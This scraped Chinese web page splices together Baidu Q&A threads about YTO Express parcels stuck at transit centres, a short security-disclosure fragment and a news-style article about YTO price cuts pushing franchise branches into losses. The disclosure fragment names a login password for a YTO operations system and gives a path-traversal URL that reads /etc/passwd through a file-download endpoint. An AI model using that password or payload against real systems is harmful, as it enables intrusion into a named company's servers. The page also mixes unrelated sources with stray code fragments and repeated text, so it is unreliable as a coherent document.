圆通怎么回事 在武汉转运中心四天了都不动_百度知道：转载时请以超链接形式标明文章原始出处和作者信息及本声明
我的圆通快递在深圳转运中心公司不动了是怎么了单圆通速递怎么样号
网友回复：
转运公司已经发出
下站点扫描才会有新记录
正常用担心
22:52:01 深圳转运中心公司 已发出 操作员：陈家雄
22:49:35 深圳转运中心公司 已收入 操作员：卿泽宇
21:10:42 广东省深圳市龙岗区龙城公司 已发出 操作员：尹智丞
20:08:52 广东省深圳市龙岗区龙城公司 已打包 操作员：刘晓新
19:29:48 广东省深圳市龙岗区龙城公司 已收件 操作员：梁晓丽
没办法。。。圆通就是这样，等个三五天就差不多了。。。
22:52:01 深圳转运中心公司 已发出 操作员：陈家雄
22:49:35 深圳转运中心公司 已收入 操作员：卿泽宇
21:10:42 广东省深圳市龙岗区龙城公司 已发出 操作员：尹智丞
20:08:52 广东省深圳市龙岗区龙城公司 已打包 操作员：刘晓新
正在路上，稍后到了站点会有更新的
我的2号发的。6号显示深圳转运中心已发出就不动。现在都12号了。唉~
你的快件到了吗？我的是5号发货的也是圆通，也是从这里发出的，现在一直没动静，明天就周五了，我周六还有急用，急死人了。
打电话运转中心问一下，是怎么回事
丢件的节奏
历史上的今天：圆通快递停在运转中心不发怎么回事？_圆通吧_百度贴吧
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圆通快递停在运转中心不发怎么回事？收藏
快递单号 576743这都多久了
就是不发出
卡上海转运中心了
这是什么情况啊
你的快件遗漏在海口中心了
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为兴趣而生，贴吧更懂你。或圆通某核心运营系统弱口令到任意文件下载
圆通某核心运营系统弱口令到任意文件下载
.cn/exptrack/logout.action
圆通账号：
密码：Yto456789
首次登录要求绑定mac地址并要求改密码，这里已经绑定了我的mac地址且密码改了。。
各种运营数据
任意文件下载
.cn/mdm_2/downloadAction.action?fileName=../../../../../../../../../../etc/passwd&realName=../../../../../../../../../etc/passwd
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size: '1000,90',
display: 'inlay-fix'圆通快递恶意降价 致分公司倒闭停运
[摘要]：圆通原本有着很好的口碑，在2014年度全国快递质量评比位居第四，仅次于中通(第一顺风，第二EMS,第三中通，第四圆通，第五申通……)。加盟乱象还衍生了另一个隐患——底层网点的经营压力。上级公司的固定费用、水涨船高的转让费、愈演愈烈的低价竞争，让底层网点经营户的利润空间越来越有限，服务质量自然下降。网点经营户要想赚钱，就必须尽可能扩大自己的业务量，因为同一市场内有多家快递公司。而要想增量，最直接的办法就是降价，这让已经很有限的利润变得更加微薄。一旦经营不善，亏损是常见的结果。
圆通原本有着很好的口碑，在2014年度全国质量评比位居第四，仅次于中通(第一顺风，第二EMS,第三中通，第四圆通，第五申通&&)
进入2015年之际，圆通决策者为了更多地占领市场份额，不惜大幅降价&&发往全国统一价每件5元！
这是什么概念？让我粗略算一笔帐：
1、送费每件1元，(一个快递员每天平均送100件，打一个电话0.2元，，快递员没有休息天月工资只有2400元)；
2、揽收快件每件0.5元工资；
3、包装袋0.35元；
4、面单1.5元；
5、分拣工资0.2元；
6、客服0.2元；
7、中转操作费用无统一，未估计：
7、运费路途长短不等，未估计；
8、房租、水电费、汽车燃料、管理人员工资、税收，未估计。
利润在哪？没人逼你做亏本生意，只能怪你骨头太贱！
市场份额的确争到了，服务质量如何呢？请欣赏以下几个案例：
一、武汉中南路某圆通数千快件无人派送
武汉晨报：今天下午6时许，中南路某圆通收件点大门紧闭。附近居民告诉武汉晨报记者：之前这里每天晚上八九点都还是灯火通明，而这两天却没有开门。武汉圆通到底肿么了？
昨天，长江日报记者了解到以下情况：
&21日通过圆通公司快递东西，一个多星期了仍没收到，有很重要的资料，还有大家&五一&出行需要的用品，很着急。&
昨日，在武昌上班的郭女士说，她有两件快递分别从浙江金华和江苏常熟发往武汉，21日下单后到现在仍未收到。
网上输入圆通快递单号查询，发现快件已于24日下午发送到武汉转运中心中南分公司，之后再无消息。
随后，长江日报记者联系上圆通快递中南分公司负责人陈经理，他介绍说，中南公司负责武昌中南路一带区域的快递业务。之所以没有及时发货，是因为总公司对分公司的罚款不合理，导致分公司亏损230多万元，员工离职，目前已无力经营。
陈经理说，圆通总公司在上海，对于武汉地区的快件，按照流程将首先发送到武汉运转中心公司，之后再派送到各个分公司，由分公司的快递员送到客户手上。若快件延误、遗失或者遭客户投诉，总公司将直接对分公司罚款处罚，延误一件快递罚款100元。
&总公司将罚款作为一项经济来源。仅从1月份到现在，我们已经欠总公司罚款29万元。&
二、杭州圆通快递东部软件园网点突然停运超600件包裹滞留
承包人：并非恶意扣留，接手4月亏了20多万干不下去了。
层层转包加盟，愈演愈烈的低价竞争让底层网点生存艰难。
邮政部门介入调查，今天积压快递将全部派送完毕
快递包裹已经到了派送点，却迟迟不见送货？不是忙不过来，而是快递员不送了。
不送的原因是，快递公司亏损，快递员没有领到工资。
这样的逻辑，让杭州网友&他人即大&无法理解，他认为快递公司内部的纠纷不应该殃及消费者。
昨天，钱报记者赶到了文三路90号杭州东部软件园内，这里有一个圆通快递的服务点，成堆的快递包裹中就有&他人即大&的快件。
圆通快递杭州文三路分公司的负责人承认，该网点大约有600多件包裹没有及时送出。但他强调，快递公司并没有恶意扣留顾客包裹的情况。而没有及时送出的原因是，网点的承包人突然&不干了&。
低价竞争让底层网点生存艰难
加盟乱象还衍生了另一个隐患&&底层网点的经营压力。上级公司的固定费用、水涨船高的转让费、愈演愈烈的低价竞争，让底层网点经营户的利润空间越来越有限，服务质量自然下降。
孙老板给算了这笔账，以江浙沪范围内的一公斤包裹为例，收一个快递，费用为5元。圆通快递总公司要收取如下费用：面单费，包装袋费，快件扫描费，称重费&&。&算下来，我5块钱收一个包裹，要交给总部4.8元至4.7元，最后只有几毛钱的利润。&孙老板说，如果运到偏远的地方，还需付一个&扶持费&。除此之外，每个月还要定时交给上级加盟商承包费，也就是交给朱经理，每月7800元。不管赚不赚钱，这些支出都是固定的。
接下来就进入了一个恶性循环，网点经营户要想赚钱，就必须尽可能扩大自己的业务量，因为同一市场内有多家快递公司。而要想增量，最直接的办法就是降价，这让已经很有限的利润变得更加微薄。一旦经营不善，亏损是常见的结果。&我原本不懂快递，以为会赚钱，没想到是这样的结果，经营4个月已经亏损了20多万。&朱老板说。
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